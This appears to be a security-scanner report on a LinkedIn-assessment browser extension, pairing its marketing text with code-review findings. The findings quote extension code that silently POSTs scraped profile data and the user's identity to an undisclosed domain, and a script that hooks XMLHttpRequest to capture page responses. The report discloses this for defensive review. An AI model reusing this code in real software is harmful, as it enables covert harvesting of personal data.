Security Alert: Malware Risk Confirmed
RemotelyMe AI Linkedin Profile Assessment App
ID: fffkjdapcgkdhlhbdbkgpcjbnhkmhmlf
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Aretanium Executive Group, Inc.View Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
The RemotelyMe app analyzes LinkedIn or Sales Navigator contacts and uses advanced AI
The RemotelyMe app uses ChatGPT, AI, and neuroscience to build customer or candidate trust with only three clicks. The RemotelyMe browser extension app combines ChatGPT, advanced AI, and visual neuroscience to help you build customer or candidate trust with only three clicks. Recruiters and sales professionals can now simply find candidates or prospects on LinkedIn and click once on the app. RemotelyMe uses AI and neuroscience to analyze a contact’s information and go far beyond outdated personality apps by determining attributes, soft skills, and communication preferences. The RemotelyMe app pre-assesses and qualifies contacts against preferences and requirements for your Ideal Customer or Candidate Profiles (ICPs) to provide scores and analysis details. The app is highly accurate even for contacts with minimal LinkedIn information. The app then uses LinkedIn data, such as experience, skills, and interests, as well as neuroscience profile information including keywords, preferences, and message tone to automatically prompt ChatGPT to write highly personalized emails, messages, or phone scripts in the contact’s native language. Personalized Communications Playbooks are also created to help you build candidate or customer trust. Users can also leverage RemotelyMe’s exclusive LinkedIn Leaders Forum group to entice contacts to respond and take immediate action. “This groundbreaking app with automated ChatGPT personalized prompts can save hundreds of hours analyzing contacts and personalizing messages.” –VP Talent Acquisition, Talend/Qlik “RemotelyMe’s app is way better than personality apps and will save us thousands on LinkedIn InMail and licensing costs.” --VP, Better Homes and Gardens Real Estate
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://*.linkedin.com/*
The extension assembles a comprehensive JSON payload containing the viewed LinkedIn contact's full profile (name, designation, current and past employer, location, education, skills, interests, recommendations, about section) together with the logged-in user's own username, then POSTs the entire payload to https://samanya.tech/api/profiles/jsontest.php. samanya.tech is not the publisher's disclosed website (remotelyme.com) and is a different registrant domain; the CWS data-collection disclosure is 'none declared', so this collection is entirely undisclosed. Including the extension user's own identity (LoggedinUser) alongside the scraped target's profile creates a persistent record linking the operator's account to every profile they assessed.
LoggedinUser = localStorage.getItem('LoggedinUser');LoggedinUser = msg.LoggedinUser;JSonStringBuild += '"' + 'LoggedinUser' + '"' + ' : ' + '"' + LoggedinUser + '"' + ',';// ... (profile fields assembled above: Name, CurrentLocation, CurrentCompany, CurrentDesignation, ProfileURL, Education, Skills, Interests, Experience, Recommendations, About)var xmlhttp = new XMLHttpRequest();var theUrl = 'https://samanya.tech/api/profiles/jsontest.php';xmlhttp.open('POST', theUrl, true);JSonStringBuild = JSonStringBuild.trim();JSonStringBuild = JSonStringBuild.replace(/(\r\n|\n|\r)/gm, '');JSonStringBuild = JSonStringBuild.replace(/[^a-zA-Z0-9,:"- ]/g, '');if (JSonStringBuild.endsWith(',')) { JSonStringBuild = JSonStringBuild.substring(0, JSonStringBuild.length - 1);}try { xmlhttp.send('{' + JSonStringBuild + '}');} catch (err) {}The extension contains a complete XHR prototype-override payload that, if injected into the LinkedIn page context, would intercept every XMLHttpRequest response (including LinkedIn's private API calls for member data) and write the raw response bodies into hidden DOM elements for later reading. The injection line is currently commented out (line 36: //document.head.prepend(xhrOverrideScript)), but the capability is fully coded and could be re-enabled via a minor update without any permission change, since content_scripts already inject into linkedin.com pages. The interceptData() function is still called on every page load (line 52) and on every popup message (line 58 inside findCode()), meaning the dead code is actively invoked — only the final prepend is suppressed.
function interceptData() { var xhrOverrideScript = document.createElement('script'); xhrOverrideScript.type = 'text/javascript'; xhrOverrideScript.innerHTML = ` (function() { var XHR = XMLHttpRequest.prototype; var send = XHR.send; var open = XHR.open; XHR.open = function(method, url) { this.url = url; return open.apply(this, arguments); } XHR.send = function() { this.addEventListener('load', function() { if (this.url) { var reader = new FileReader(); reader.onload = function() { var dataDOMElement = document.createElement('code'); dataDOMElement.class = '__interceptedData'; dataDOMElement.innerText = reader.result; dataDOMElement.style.display = 'none'; document.body.appendChild(dataDOMElement); } reader.readAsText(this.response); } }); return send.apply(this, arguments); }; })(); ` //document.head.prepend(xhrOverrideScript);By severity
Versions scanned
Showing 1 of 9 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.7.3 | 2 |
Files with findings
1 distinct path — top paths by unique finding count:
- content.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.